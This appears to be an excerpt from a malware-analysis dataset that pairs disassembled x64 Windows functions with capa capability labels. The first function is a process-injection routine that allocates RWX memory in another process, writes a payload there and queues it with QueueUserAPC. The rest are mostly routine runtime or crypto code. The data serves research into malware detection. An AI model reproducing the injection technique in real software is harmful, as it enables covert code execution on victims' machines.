joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001136b
Capabilities:
Allocate or change rwx memory
Inject apc

Disassembly:
jmp 0x140011b40
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x14001e700]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400250a2]
call fcn.1400113a7
nop
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x158]
xor edx, edx
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011bf4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualAllco_error:_d_n
call fcn.1400111a4
nop
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x158]
mov r8, qword [rbp + 0x150]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov rdx, qword [rbp + 8]
lea rcx, str.the_payload_address:_p_n
call fcn.1400111a4
nop
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rbp + 0x158]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140011c6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualProtect_error:_d_n
call fcn.1400111a4
nop
lea rcx, str.pass__enter__to_execute_payload_n
call fcn.1400111a4
nop
call qword [sym.imp.ucrtbased.dll_getchar]
nop
xor r8d, r8d
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x140011caf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.QueueUserAPC_error:_d_n
call fcn.1400111a4
nop
lea rcx, str.QueueUserAPC_seccuss_n
call fcn.1400111a4
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad80]
call fcn.14001132f
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140012660
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113cf
movzx eax, al
test eax, eax
jne 0x140012680
mov ecx, 7
call fcn.140011339
nop
mov byte [rsp + 0x20], 0
call fcn.14001134d
mov byte [rsp + 0x21], al
cmp dword [0x14001ef68], 1
jne 0x1400126a4
mov ecx, 7
call fcn.140011339
nop
jmp 0x1400126fc
cmp dword [0x14001ef68], 0
jne 0x1400126f7
mov dword [0x14001ef68], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111a9
test eax, eax
je 0x1400126d8
mov eax, 0xff
jmp 0x140012801
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011343
mov dword [0x14001ef68], 2
jmp 0x1400126fc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011325
call fcn.1400112bc
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012759
mov rcx, qword [rsp + 0x30]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x140012759
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.1400112ee
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001278d
mov rcx, qword [rsp + 0x38]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x14001278d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001138e
nop
call fcn.1400128b0
mov dword [rsp + 0x28], eax
call fcn.140011294
movzx eax, al
test eax, eax
jne 0x1400127ac
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400127bb
call fcn.140011398
nop
xor edx, edx
mov cl, 1
call fcn.140011145
mov eax, dword [rsp + 0x28]
jmp 0x140012801
add rsp, 0x68
ret
Function at 0x140011429
Capabilities:
Terminate process

Disassembly:
jmp 0x14001ae80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011528
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001c1d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001c1f0
xor al, al
jmp 0x14001c271
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001c203
xor al, al
jmp 0x14001c271
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001c22d
xor al, al
jmp 0x14001c271
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001c241
xor al, al
jmp 0x14001c271
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001c253
xor al, al
jmp 0x14001c271
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001c26f
xor al, al
jmp 0x14001c271
mov al, 1
add rsp, 0x38
ret
Function at 0x140019fd0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400117a8
movzx eax, al
test eax, eax
jne 0x140019ff0
mov ecx, 7
call fcn.14001164f
nop
mov byte [rsp + 0x20], 0
call fcn.140011681
mov byte [rsp + 0x21], al
cmp dword [0x140028b98], 1
jne 0x14001a014
mov ecx, 7
call fcn.14001164f
nop
jmp 0x14001a06c
cmp dword [0x140028b98], 0
jne 0x14001a067
mov dword [0x140028b98], 1
lea rdx, [0x140022660]
lea rcx, [0x140022330]
call fcn.140011389
test eax, eax
je 0x14001a048
mov eax, 0xff
jmp 0x14001a171
lea rdx, [0x140022220]
lea rcx, [section..rdata]
call fcn.14001166d
mov dword [0x140028b98], 2
jmp 0x14001a06c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011631
call fcn.140011555
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14001a0c9
mov rcx, qword [rsp + 0x30]
call fcn.1400112e4
movzx eax, al
test eax, eax
je 0x14001a0c9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002f020]
nop
call fcn.1400115b9
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001a0fd
mov rcx, qword [rsp + 0x38]
call fcn.1400112e4
movzx eax, al
test eax, eax
je 0x14001a0fd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001170d
nop
call fcn.14001a220
mov dword [rsp + 0x28], eax
call fcn.140011528
movzx eax, al
test eax, eax
jne 0x14001a11c
mov ecx, dword [rsp + 0x28]
call fcn.140011082
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001a12b
call fcn.140011721
nop
xor edx, edx
mov cl, 1
call fcn.1400112b7
mov eax, dword [rsp + 0x28]
jmp 0x14001a171
add rsp, 0x68
ret
Function at 0x140011217
Capabilities:
Terminate process

Disassembly:
jmp 0x140014020
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400112a3
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015360
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015380
xor al, al
jmp 0x140015401
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015393
xor al, al
jmp 0x140015401
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400153bd
xor al, al
jmp 0x140015401
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400153d1
xor al, al
jmp 0x140015401
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400153e3
xor al, al
jmp 0x140015401
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400153ff
xor al, al
jmp 0x140015401
mov al, 1
add rsp, 0x38
ret
Function at 0x140011384
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x140011830
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400250a4]
call fcn.1400113ac
nop
mov qword [rbp + 8], 0
jmp 0x140011899
mov rax, qword [rbp + 8]
inc rax
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x188]
cmp qword [rbp + 8], rax
jae 0x140011936
lea rax, [rbp + 0x84]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x64]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x44]
lea r8, [rbp + 0x24]
lea rdx, str._hhu._hhu._hhu._hhu
mov rax, qword [rbp + 0x180]
mov rcx, qword [rbp + 8]
mov rcx, qword [rax + rcx*8]
call fcn.14001104b
nop
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 8]
movzx edx, byte [rbp + 0x24]
mov byte [rax + rcx*4], dl
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 8]
movzx edx, byte [rbp + 0x44]
mov byte [rax + rcx*4 + 1], dl
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 8]
movzx edx, byte [rbp + 0x64]
mov byte [rax + rcx*4 + 2], dl
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 8]
movzx edx, byte [rbp + 0x84]
mov byte [rax + rcx*4 + 3], dl
jmp 0x14001188e
lea rcx, [rbp - 0x30]
lea rdx, [0x14001be50]
call fcn.140011339
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140013260
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113d4
movzx eax, al
test eax, eax
jne 0x140013280
mov ecx, 7
call fcn.140011343
nop
mov byte [rsp + 0x20], 0
call fcn.140011357
mov byte [rsp + 0x21], al
cmp dword [0x14001f898], 1
jne 0x1400132a4
mov ecx, 7
call fcn.140011343
nop
jmp 0x1400132fc
cmp dword [0x14001f898], 0
jne 0x1400132f7
mov dword [0x14001f898], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.1400111ae
test eax, eax
je 0x1400132d8
mov eax, 0xff
jmp 0x140013401
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.14001134d
mov dword [0x14001f898], 2
jmp 0x1400132fc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001132f
call fcn.1400112c6
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013359
mov rcx, qword [rsp + 0x30]
call fcn.140011163
movzx eax, al
test eax, eax
je 0x140013359
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.1400112f8
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001338d
mov rcx, qword [rsp + 0x38]
call fcn.140011163
movzx eax, al
test eax, eax
je 0x14001338d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011393
nop
call fcn.1400134b0
mov dword [rsp + 0x28], eax
call fcn.1400112a3
movzx eax, al
test eax, eax
jne 0x1400133ac
mov ecx, dword [rsp + 0x28]
call fcn.14001105a
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400133bb
call fcn.14001139d
nop
xor edx, edx
mov cl, 1
call fcn.140011154
mov eax, dword [rsp + 0x28]
jmp 0x140013401
add rsp, 0x68
ret
Function at 0x1400012f0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x470
mov rax, qword [0x1403c6da0]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor ebp, ebp
mov ebx, edx
mov rdi, rcx
test rcx, rcx
jne 0x140001320
xor eax, eax
jmp 0x1400014fb
lea rdx, [rsp + 0x20]
call fcn.140264110
test eax, eax
js 0x140001319
mov rax, qword [0x1403f2060]
mov qword [rsp + 0x460], r13
lea r13, [0x1403e33c0]
test rax, rax
jne 0x14000138b
cmp qword [0x1403f2170], rbp
je 0x140001381
lea edx, [rax + 1]
lea rcx, [0x1403f2170]
call fcn.140049330
mov r11, rax
test rax, rax
je 0x140001381
mov rax, qword [rax + 0x38]
mov qword [0x1403f2060], rax
test rax, rax
jne 0x1400013b0
mov rcx, r11
call fcn.14001fc80
mov rax, r13
mov qword [0x1403f2060], rax
mov r8, qword [rax + 0x18]
test r8, r8
je 0x1400013a5
xorpd xmm2, xmm2
lea rcx, [rsp + 0x20]
mov edx, gethostbyname
call r8
test ebx, ebx
jne 0x1400013b9
xor eax, eax
jmp 0x1400014f3
mov qword [0x1403f2068], r11
jmp 0x14000138b
lea rdx, [0x140332754]
mov rcx, rdi
mov qword [rsp + 0x468], r12
call fcn.140263598
mov r12, rax
test rax, rax
je 0x1400014e9
mov qword [rsp + 0x4a0], rsi
mov edi, 0x400
test ebx, ebx
jle 0x1400013f2
cmp ebx, edi
cmovl edi, ebx
lea rcx, [rsp + 0x50]
movsxd r8, edi
mov r9, r12
mov edx, 1
call fcn.140262d64
mov rsi, rax
test eax, eax
jle 0x14000148b
mov rcx, qword [0x1403f2060]
test rcx, rcx
jne 0x14000145d
cmp qword [0x1403f2170], rcx
je 0x140001453
lea edx, [rcx + 1]
lea rcx, [0x1403f2170]
call fcn.140049330
test rax, rax
je 0x140001453
mov rcx, qword [rax + 0x38]
mov qword [0x1403f2060], rcx
test rcx, rcx
jne 0x140001516
mov rcx, rax
call fcn.14001fc80
mov rcx, r13
mov qword [0x1403f2060], rcx
mov rax, qword [rcx + 0x18]
test rax, rax
je 0x140001477
movd xmm2, esi
lea rcx, [rsp + 0x50]
mov edx, edi
cvtdq2pd xmm2, xmm2
call rax
add ebp, esi
test ebx, ebx
jle 0x1400013e4
sub ebx, edi
test ebx, ebx
jg 0x1400013e4
mov rcx, r12
call fcn.14025d970
movzx ebx, byte [0x1403f216c]
mov rsi, qword [rsp + 0x4a0]
lea r11, [rsp + 0x50]
mov ecx, 0x400
nop dword [rax]
mov byte [r11], bl
inc r11
mov rax, r11
and eax, 0xf
dec rcx
lea rbx, [rbx + rax + 0x11]
jne 0x1400014b0
lea rcx, [rsp + 0x50]
movzx edx, bl
mov r8d, 0x400
call fcn.14025f2d8
test rax, rax
je 0x1400014e3
lea rbx, [rbx + rax + 0x3f]
mov byte [0x1403f216c], bl
mov r12, qword [rsp + 0x468]
mov eax, ebp
mov r13, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14025db20
add rsp, 0x470
pop rdi
pop rbp
pop rbx
ret
mov qword [0x1403f2068], rax
jmp 0x14000145d
Function at 0x140001530
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
lea rcx, str.RANDFILE
mov rsi, rdx
call fcn.1402640a4
xor ebx, ebx
mov r11, rax
test rax, rax
je 0x1400015aa
cmp byte [rax], bl
je 0x1400015aa
mov rdx, rax
mov ecx, ebx
cmp ecx, 0x80000000
jae 0x140001575
inc rdx
inc ecx
cmp byte [rdx], bl
jne 0x140001564
btr ecx, 0x1f
lea eax, [rcx + 1]
cmp rax, rsi
jae 0x1400015aa
mov r8, rsi
mov rdx, r11
mov rcx, rdi
call fcn.14001ff30
cmp rax, rsi
jb 0x140001658
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
lea rcx, str.HOME
call fcn.1402640a4
mov rdx, rax
test rax, rax
jne 0x1400015c7
lea rdx, [0x140332774]
jmp 0x1400015cf
cmp byte [rax], bl
je 0x140001655
mov eax, ebx
mov rcx, rdx
cmp byte [rdx], al
je 0x1400015e8
cmp eax, 0x80000000
jae 0x1400015e8
inc rcx
inc eax
cmp byte [rcx], bl
jne 0x1400015d8
lea rcx, str..rnd
nop
cmp ebx, 0x80000000
jae 0x140001602
inc rcx
inc ebx
cmp byte [rcx], 0
jne 0x1400015f0
btr ebx, 0x1f
btr eax, 0x1f
lea ecx, [rbx + rax + 2]
cmp rcx, rsi
jae 0x140001655
mov r8, rsi
mov rcx, rdi
call fcn.14001ff30
lea rdx, [0x140332780]
mov r8, rsi
mov rcx, rdi
call fcn.14001ff90
lea rdx, str..rnd
mov r8, rsi
mov rcx, rdi
call fcn.14001ff90
mov rax, rdi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov byte [rdi], 0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x14000a3f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub rsp, 0x28
cmp dword [reloc.WSOCK32.dll_accept], 0
je 0x14000a491
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
jne 0x14000a418
mov dword [reloc.WSOCK32.dll_accept], eax
jmp 0x14000a491
mov rax, qword [0x1403f2060]
test rax, rax
jne 0x14000a46e
cmp qword [0x1403f2170], rax
je 0x14000a460
lea edx, [rax + 1]
lea rcx, [0x1403f2170]
call fcn.140049330
mov r11, rax
test rax, rax
je 0x14000a460
mov rax, qword [rax + 0x38]
mov qword [0x1403f2060], rax
test rax, rax
jne 0x14000a50c
mov rcx, r11
call fcn.14001fc80
lea rax, [0x1403e33c0]
mov qword [0x1403f2060], rax
mov r8, qword [rax + 0x18]
test r8, r8
je 0x14000a488
xorpd xmm2, xmm2
lea rcx, [rsp + 0x38]
mov edx, 8
call r8
cmp dword [reloc.WSOCK32.dll_accept], 0
jne 0x14000a507
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x30], eax
mov rax, qword [0x1403f2060]
test rax, rax
jne 0x14000a4ed
cmp qword [0x1403f2170], rax
je 0x14000a4df
lea edx, [rax + 1]
lea rcx, [0x1403f2170]
call fcn.140049330
mov r11, rax
test rax, rax
je 0x14000a4df
mov rax, qword [rax + 0x38]
mov qword [0x1403f2060], rax
test rax, rax
jne 0x14000a518
mov rcx, r11
call fcn.14001fc80
lea rax, [0x1403e33c0]
mov qword [0x1403f2060], rax
mov r8, qword [rax + 0x18]
test r8, r8
je 0x14000a507
xorpd xmm2, xmm2
lea rcx, [rsp + 0x30]
mov edx, 4
call r8
add rsp, 0x28
ret
mov qword [0x1403f2068], r11
jmp 0x14000a46e
mov qword [0x1403f2068], r11
jmp 0x14000a4ed
Function at 0x14002e2f0
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rsi, rcx
call fcn.140263598
mov rdi, rax
test rax, rax
jne 0x14002e3c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, str..crypto_bio_bss_file.c
lea edx, [rdi + 1]
lea ecx, [rdi + 2]
mov r8d, eax
mov dword [rsp + 0x20], 0x7e
call fcn.14000c930
lea r11, [0x140345cb4]
lea r9, [0x14034c0a0]
mov qword [rsp + 0x28], r11
lea rdx, str.fopen_
lea ecx, [rdi + 5]
mov r8, rsi
mov qword [rsp + 0x20], rbx
call fcn.14000cd20
call fcn.140263720
lea r9, str..crypto_bio_bss_file.c
cmp dword [rax], 2
lea edx, [rdi + 0x6d]
lea ecx, [rdi + 0x20]
jne 0x14002e39d
lea r8d, [rdx + 0x13]
mov dword [rsp + 0x20], 0x81
call fcn.14000c930
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov r8d, 2
mov dword [rsp + 0x20], 0x83
call fcn.14000c930
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
lea rcx, [0x1403d3ec0]
call fcn.140005540
mov rbx, rax
test rax, rax
jne 0x14002e3f0
mov rcx, rdi
call fcn.14025d970
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
and dword [rax + 0x20], 0xffff7fff
mov edx, 0x6a
mov r9, rdi
lea r8d, [rdx - 0x69]
mov rcx, rax
call fcn.140005dc0
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14005e1f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
call fcn.14005dc00
test eax, eax
js 0x14005e42e
mov eax, dword [rbx + 0xf0]
xor r10d, r10d
shl eax, 2
movsxd r9, eax
test eax, eax
jle 0x14005e279
lea rdx, [rbx + r9*4 + 8]
lea r8, [rbx + 8]
nop word [rax + rax]
mov eax, dword [rdx - 8]
mov ecx, dword [r8 - 8]
add r10, 4
mov dword [r8 - 8], eax
mov eax, dword [rdx - 4]
mov dword [rdx - 8], ecx
mov ecx, dword [r8 - 4]
mov dword [r8 - 4], eax
mov eax, dword [rdx]
mov dword [rdx - 4], ecx
mov ecx, dword [r8]
mov dword [r8], eax
mov eax, dword [rdx + 4]
mov dword [rdx], ecx
mov ecx, dword [r8 + 4]
mov dword [r8 + 4], eax
sub r9, 4
mov dword [rdx + 4], ecx
sub rdx, 0x10
add r8, 0x10
cmp r10, r9
jl 0x14005e230
mov r11d, 1
cmp dword [rbx + 0xf0], r11d
jle 0x14005e42c
mov qword [rsp + 0x30], rdi
lea r10, [rbx + 2]
lea rdi, [0x140000000]
nop dword [rax]
mov r8d, dword [r10 + 0xe]
add r10, 0x10
inc r11d
mov eax, r8d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, byte [r10 - 1]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
mov r9d, dword [rdi + rdx*4 + 0x33a4c0]
movzx eax, r8b
xor r9d, dword [rdi + rcx*4 + 0x33acc0]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, byte [r10]
xor r9d, dword [rdi + rcx*4 + 0x33b0c0]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
xor r9d, dword [rdi + rcx*4 + 0x33a8c0]
mov dword [r10 - 2], r9d
mov r9d, dword [r10 + 2]
mov eax, r9d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, byte [r10 + 3]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
mov r8d, dword [rdi + rdx*4 + 0x33a4c0]
movzx eax, byte [r10 + 4]
xor r8d, dword [rdi + rcx*4 + 0x33acc0]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x33a8c0]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
mov r9d, dword [r10 + 6]
xor r8d, dword [rdi + rcx*4 + 0x33b0c0]
mov eax, r9d
mov dword [r10 + 2], r8d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, byte [r10 + 7]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
mov r8d, dword [rdi + rdx*4 + 0x33a4c0]
movzx eax, byte [r10 + 8]
xor r8d, dword [rdi + rcx*4 + 0x33acc0]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x33a8c0]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, byte [r10 + 0xb]
xor r8d, dword [rdi + rcx*4 + 0x33b0c0]
mov r9d, dword [r10 + 0xa]
mov dword [r10 + 6], r8d
movzx edx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, byte [r10 + 0xc]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
mov r8d, dword [rdi + rdx*4 + 0x33acc0]
mov eax, r9d
xor r8d, dword [rdi + rcx*4 + 0x33a8c0]
shr rax, 0x18
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x33a4c0]
movzx ecx, byte [rdi + rax*4 + 0x3398c0]
xor r8d, dword [rdi + rcx*4 + 0x33b0c0]
mov dword [r10 + 0xa], r8d
cmp r11d, dword [rbx + 0xf0]
jl 0x14005e2a0
mov rdi, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rbx
ret